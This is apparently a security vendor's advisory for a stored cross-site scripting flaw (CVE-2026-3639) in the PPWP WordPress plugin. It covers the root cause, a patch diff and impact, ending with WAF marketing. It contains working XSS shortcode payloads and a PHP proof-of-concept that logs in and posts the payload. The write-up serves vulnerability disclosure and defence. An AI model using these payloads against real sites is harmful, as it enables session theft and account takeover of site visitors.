Published : August 12, 2026

CVE-2026-3639: PPWP – Password Protect Pages <= 1.9.21 Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes PoC, Patch Analysis & Rule

CVE ID CVE-2026-3639
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.9.21
Patched Version 1.9.22
Disclosed August 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3639:
This vulnerability enables stored cross-site scripting (XSS) through the ‘ppwp’ shortcode in the PPWP – Password Protect Pages plugin, affecting versions up to and including 1.9.21. Authenticated users with contributor-level access can inject malicious scripts that execute when other users view the compromised page. The CVSS score is 6.4, indicating a medium severity threat.

Root Cause:
The root cause lies in the shortcode attribute handling within the class-ppw-shortcode.php file. Specifically, the ‘placeholder’ and ‘button’ attributes are processed without proper output escaping. In the vulnerable code, the ‘placeholder’ attribute is passed through the ‘_x()’ and ‘massage_attributes()’ functions without an escaping function like ‘esc_attr()’. Similarly, the ‘button’ attribute uses ‘wp_kses_post()’, which permits certain HTML tags but does not prevent the injection of JavaScript event handlers, and the result is not escaped with ‘esc_attr()’. This insufficient output sanitation allows an attacker to embed executable script content within these attributes.

Exploitation:
An attacker with contributor-level access can create or edit a post and insert a shortcode with malicious attributes. For the ‘button’ attribute, a payload such as `[ppwp button='” onmouseover=”alert(1)’]` could inject an event handler. Alternatively, for the ‘placeholder’ attribute, a payload like `[ppwp placeholder='” onfocus=”alert(1)’]` can be used. These payloads bypass the check for ‘wp_kses_post()’ because event handlers are not removed. When a user views the page, the injected script executes, leading to data theft or session hijacking.

Patch Analysis:
The patch modifies the shortcode processing in class-ppw-shortcode.php. It wraps the output for both the ‘placeholder’ and ‘button’ parameters with the ‘esc_attr()’ function. This function HTML-encodes special characters, preventing them from being interpreted as active HTML or JavaScript. The change occurs at lines 587 and 590 of the diff, transforming the values into safe, escaped strings before they are rendered in the form.

Impact:
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user viewing the injected page. This can lead to session token theft, account takeover for administrators, and the defacement of pages. The attacker could also potentially capture keystrokes or redirect users to malicious sites, severely compromising the integrity and security of the WordPress installation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/password-protect-page/includes/services/class-ppw-shortcode.php
+++ b/password-protect-page/includes/services/class-ppw-shortcode.php
@@ -584,9 +584,9 @@
 			$form_params = array(
 				PPW_Constants::SHORT_CODE_FORM_HEADLINE       => _x( $this->massage_attributes( $attrs['headline'] ), PPW_Constants::CONTEXT_PCP_PASSWORD_FORM, 'password-protect-page'),
 				PPW_Constants::SHORT_CODE_FORM_INSTRUCT       => _x( $this->massage_attributes( $attrs['description'] ), PPW_Constants::CONTEXT_PCP_PASSWORD_FORM, 'password-protect-page'),
-				PPW_Constants::SHORT_CODE_FORM_PLACEHOLDER    => _x( $this->massage_attributes( $attrs['placeholder'] ), PPW_Constants::CONTEXT_PCP_PASSWORD_FORM, 'password-protect-page'),
+				PPW_Constants::SHORT_CODE_FORM_PLACEHOLDER    => esc_attr( _x( $this->massage_attributes( $attrs['placeholder'] ), PPW_Constants::CONTEXT_PCP_PASSWORD_FORM, 'password-protect-page') ),
 				PPW_Constants::SHORT_CODE_FORM_AUTH           => $post_id,
-				PPW_Constants::SHORT_CODE_BUTTON              => _x( wp_kses_post( $attrs['button'] ), PPW_Constants::CONTEXT_PCP_PASSWORD_FORM, 'password-protect-page'),
+				PPW_Constants::SHORT_CODE_BUTTON              => esc_attr( _x( wp_kses_post( $attrs['button'] ), PPW_Constants::CONTEXT_PCP_PASSWORD_FORM, 'password-protect-page') ),
 				PPW_Constants::SHORT_CODE_FORM_CURRENT_URL    => $this->get_the_permalink_without_cache( wp_rand( 0, 100 ) ),
 				PPW_Constants::SHORT_CODE_FORM_ID             => esc_attr( '' === $attrs['id'] ? get_the_ID() . wp_rand( 0, 1000 ) : wp_kses_post( $attrs['id'] ) ),
 				PPW_Constants::SHORT_CODE_FORM_CLASS          => esc_attr( $className ),
--- a/password-protect-page/wp-protect-password.php
+++ b/password-protect-page/wp-protect-password.php
@@ -15,7 +15,7 @@
  * Plugin Name:       Password Protect WordPress Lite
  * Plugin URI:        https://passwordprotectwp.com?utm_source=user-website&utm_medium=pluginsite_link&utm_campaign=ppwp_lite
  * Description:       Password protect the entire WordPress site, unlimited pages and posts by user roles. This plugin is required for our Pro version to work properly.
- * Version:           1.9.21
+ * Version:           1.9.22
  * Author:            BWPS
  * Author URI:        https://passwordprotectwp.com
  * License:           GPL-2.0+
@@ -29,13 +29,8 @@
 	die;
 }

-/**
- * Currently plugin version.
- * Start at version 1.1.2 and use SemVer - https://semver.org
- * Rename this for your plugin and update it as you release new versions.
- */
 // phpcs:disable WordPress.NamingConventions.PrefixAllGlobals
-define( 'PPW_VERSION', '1.9.21' );
+define( 'PPW_VERSION', '1.9.22' );

 if ( ! defined( 'PPW_DIR_PATH' ) ) {
 	define( 'PPW_DIR_PATH', plugin_dir_path( __FILE__ ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3639 - PPWP – Password Protect Pages <= 1.9.21 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

/**
 * Proof of Concept for CVE-2026-3639
 * 
 * This script demonstrates how an authenticated contributor can inject a stored XSS payload
 * via the 'ppwp' shortcode's 'button' attribute.
 * 
 * Usage: php poc.php
 */

$target_url = 'http://your-wordpress-site.com'; // Change this to the target site URL
$username = 'contributor_user'; // Change this to a contributor username
$password = 'contributor_password'; // Change this to the contributor's password

// 1. Login to WordPress to obtain auth cookies
$login_url = $target_url . '/wp-login.php';
$login_data = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);

$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_exec($ch);
curl_close($ch);

// 2. Create a new post with the malicious shortcode
$post_url = $target_url . '/wp-admin/post-new.php';
$post_data = [
    'post_title' => 'CVE-2026-3639 PoC',
    'content' => '[ppwp button=' . '"' . '" onmouseover="alert(1)' . '"' . ']',
    'post_status' => 'pending', // set to pending to avoid direct public exposure, but can be changed to 'publish'
    'post_type' => 'post'
];

$ch = curl_init($post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// 3. Check if the post was created successfully
if (strpos($response, 'Post published') !== false || strpos($response, 'Post submitted') !== false) {
    echo "[+] Post created successfully with XSS payload.n";
} else {
    echo "[-] Failed to create post. Check credentials or URL.n";
}

// Clean up cookies file
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.